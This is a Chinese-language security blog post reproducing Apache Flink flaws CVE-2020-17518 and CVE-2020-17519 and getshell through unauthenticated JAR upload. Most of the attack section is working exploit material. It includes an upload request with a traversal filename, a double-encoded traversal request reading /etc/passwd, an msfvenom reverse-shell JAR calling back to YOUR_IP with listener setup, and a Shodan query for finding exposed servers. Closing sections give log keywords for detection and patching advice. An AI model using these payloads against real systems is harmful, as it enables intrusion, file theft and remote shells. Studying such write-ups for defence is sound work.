CVE-2020-17518 / CVE-2020-17519 Apache Flink 任意文件写入、目录遍历、未授权访问上传JAR包getshell漏洞复现

CVE-2020-17518 / CVE-2020-17519 Apache Flink 任意文件写入、目录遍历、未授权访问上传JAR包getshell漏洞复现

漏洞简述

Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理能力。

CVE-2020-17518
Apache Flink 1.5.1 引入了一个 REST 处理程序,允许通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。

CVE-2020-17519
Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。

未授权访问上传Jar包getshell
这个没有CVE,上传Jar包执行本身是一个的功能点,但是Flink本身后台页面本身没有鉴权,导致未授权访问上传jar包进行getshell。

漏洞影响版本

CVE-2020-17518 1.5.1 < Flink < 1.11.2

CVE-2020-17519 Flink 1.11.0、1.11.1、1.11.2

Shodan搜索语法

http.favicon.hash:180732787

漏洞exp

该漏洞利用较为简单,并且github上的exp测试不太好用。建议手工测试复现。

https://github.com/QmF0c3UK/CVE-2020-17518

https://github.com/B1anda0/CVE-2020-17519

漏洞环境搭建

使用vulhub进行复现。搭建好后直接进入后台管理界面,没有认证。两个漏洞用的同一个环境。

如果不使用docker,可以前往官网进行下载tgz解压安装。

https://flink.apache.org/downloads/

wget https://archive.apache.org/dist/flink/flink-1.14.6/flink-1.14.6-bin-scala_2.11.tgz
tar xvf flink-1.14.6-bin-scala_2.11.tgz 
cd flink-1.14.6/bin/
./start-cluster.sh 

漏洞复现

CVE-2020-17518

点击上面上传jar包,burp抓包修改路径。

POST /jars/upload HTTP/1.1
Host: vul.zgao.top:8081
Content-Length: 228
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryphBB4uHGBVImrUXt
Connection: close

------WebKitFormBoundaryphBB4uHGBVImrUXt
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
Content-Type: application/octet-stream

success

------WebKitFormBoundaryphBB4uHGBVImrUXt--

文件上传成功。

CVE-2020-17519

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vul.zgao.top:8081
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Connection: close

未授权访问上传Jar包gethsell

用msf制作一个反弹shell的jar包。

msfvenom -p java/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f jar > rce.jar
msfconsole
set payload java/shell/reverse_tcp 
set LHOST 0.0.0.0
set LPORT 4444 
show options
run

溯源排查

日志位置:

  • /opt/flink/log
  • flink/flink-1.14.6/log/

如果从官网下载tgz解压安装,flink位于解压安装的目录。

任意文件写入漏洞排查

排查关键词:JarUploadHandler

目录遍历漏洞排查

目录穿越任意文件读取,日志中没有记录。

未授权访问上传Jar包漏洞排查

根据配置文件查看上传jar包的目录位置。

排查关键字:JarRunHandler

命令执行的记录位于.out文件中,例如 flink-root-standalonesession-0-VM-4-7-centos.out

修复方式

  • 升级至最新版本
  • 禁止未授权访问flink后台页面
赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论